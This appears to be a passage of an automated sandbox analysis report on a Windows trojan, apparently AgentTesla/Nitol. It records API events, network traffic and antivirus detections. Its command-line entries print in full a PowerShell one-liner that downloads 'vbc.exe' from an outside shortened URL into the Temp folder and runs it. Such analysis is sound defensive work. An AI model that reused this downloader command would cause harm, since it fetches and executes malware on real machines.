cmdline	cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 7, 2021, 7:02 p.m.	show_type: 0 filepath_r: cmd parameters: /c powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit filepath: cmd	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 7, 2021, 7:02 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received
Data received	F

Poweshell is sending data to a remote host (2 events)

Data sent	jfa78À<Ý%0]P»÷÷¥Û¨v²g7ÔlÄú{Ë%½/5 ÀÀÀ À 28%ÿ ggle.io
Data sent	jfa78Àì fnºnðü]³p$$5Iñ;²µç5/5 ÀÀÀ À 28%ÿ ggle.io

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 7, 2021, 7:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 7, 2021, 7:02 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send Sept. 7, 2021, 7:02 p.m.	buffer: jfa78À<Ý%0]P»÷÷¥Û¨v²g7ÔlÄú{Ë%½/5 ÀÀÀ À 28%ÿ ggle.io socket: 1260 sent: 111	1	111	0
send Sept. 7, 2021, 7:02 p.m.	buffer: jfa78Àì fnºnðü]³p$$5Iñ;²µç5/5 ÀÀÀ À 28%ÿ ggle.io socket: 1260 sent: 111	1	111	0

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

C:\Users\test22\AppData\Local\Temp\vbc.exe

Creates a suspicious Powershell process (3 events)

value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Lionic	Trojan.MSIL.Nitol.4!c
Elastic	malicious (high confidence)
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_80% (W)
Alibaba	Trojan:MSIL/Nitol.14fbf8a6
K7GW	Trojan ( 005816741 )
K7AntiVirus	Trojan ( 005816741 )
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Kryptik.ACOO
APEX	Malicious
Kaspersky	HEUR:Trojan.MSIL.Nitol.gen
BitDefender	Trojan.GenericKD.37545598
MicroWorld-eScan	Trojan.GenericKD.37545598
Avast	Win32:RATX-gen [Trj]
Tencent	Msil.Trojan.Nitol.Agkl
Ad-Aware	Trojan.GenericKD.37545598
McAfee-GW-Edition	AgentTesla-FDCM!E2178538425F
FireEye	Generic.mg.e2178538425f24c9
Emsisoft	Trojan.GenericKD.37545598 (B)
GData	Trojan.GenericKD.37545598
Microsoft	Trojan:Win32/Wacatac.B!ml
McAfee	AgentTesla-FDCM!E2178538425F
MAX	malware (ai score=81)
Cylance	Unsafe
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_96%
Fortinet	MSIL/Kryptik.ACOO!tr
BitDefenderTheta	Gen:NN.ZemsilF.34126.am0@aWtdDce
AVG	Win32:RATX-gen [Trj]
MaxSecure	Trojan.Malware.300983.susgen

Powershell Downloader DFSP detected (1 event)

The process powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\vbc.exe

kernel.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All